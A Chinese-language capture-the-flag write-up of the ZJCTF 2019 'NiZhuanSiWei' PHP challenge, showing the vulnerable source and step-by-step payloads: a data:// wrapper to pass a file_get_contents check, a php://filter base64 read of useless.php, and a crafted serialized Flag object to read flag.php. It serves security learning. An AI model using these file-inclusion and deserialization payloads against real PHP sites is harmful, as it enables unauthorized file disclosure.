zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    [ZJCTF 2019]NiZhuanSiWei

    考察:

    1. php协议 data://,php://

    2. 反序列化

    完整payload:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    首页:

    image-20200407001928691

    <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if( isset($text) && (file_get_contents($text,'r') === "welcome to the zjctf" )){
       
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    file_get_contents和data协议

    (file_get_contents($text,'r') === "welcome to the zjctf"
    

    这里可以使用php的data协议,即可绕过

    payload1:

    text=data://text/plain,welcome to the zjctf
    

    下面给出分析

    file_get_contents函数

    会把文件读入一个字符串中,例:

    <?php
    	echo file_get_contents("flag.txt"); //如果加上'r'则表示只读
    ?>
    

    image-20200407005054288

    data协议解释

    详情连接:https://www.php.net/manual/zh/wrappers.data.php

    data协议可以使你输入得字符串作为数据流,例:

    image-20200407004954177

    include($file);文件包含

    明显的文件包含,并且我们可以初步猜测第三步是反序列化

    else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
    }
    

    关键的payload:

    file=php://filter/read=convert.base64-encode/resource=useless.php
    

    那么第二步完整payload

    text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
    

    得到base64密文

    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

    解密得到useless.php得代码

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    
    ?>  
    
    

    序列化构造

    我们发现useless.php是一个类,并且提示我们flag在flag.php

    明确了文件位置就可以开始构造pop链。

    第三步的关键payload3:

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    利用如下代码生成。

    <?php
    class Flag{  //flag.php
        public $file = "flag.php";
        public function __tostring(){
            if(isset($this->file)){
                echo file_get_contents($this->file);
                echo "<br>";
                return ("U R SO CLOSE !///COME ON PLZ");
            }
        }
    }
    
    $demo = new Flag();
    $u = serialize($demo);
    echo $u;
    ?>
    
    

    image-20200407011028173

    完整payload

    text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    image-20200407012111810

    查看源码:

    image-20200407012209591

  • 相关阅读:
    一种新的语法研究方法论——构式语法(construction grammar)理论
    男士健身篇
    !!! TCP实现P2P通信、TCP穿越NAT的方法、TCP打洞
    新手怎样学习Flash及as脚本编程? [复制链接]
    UDP穿越NAT原理
    一周七天英语怎么说
    !! 使用正则表达式匹配嵌套Html标签
    优秀老板的特征李开复微博
    搜狐超越新浪给创业者的两个启示:不断+耐心布局
    成大事必备九种手段(没有手段,你永远吃不到成功的甜果)
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12650885.html
Copyright © 2011-2022 走看看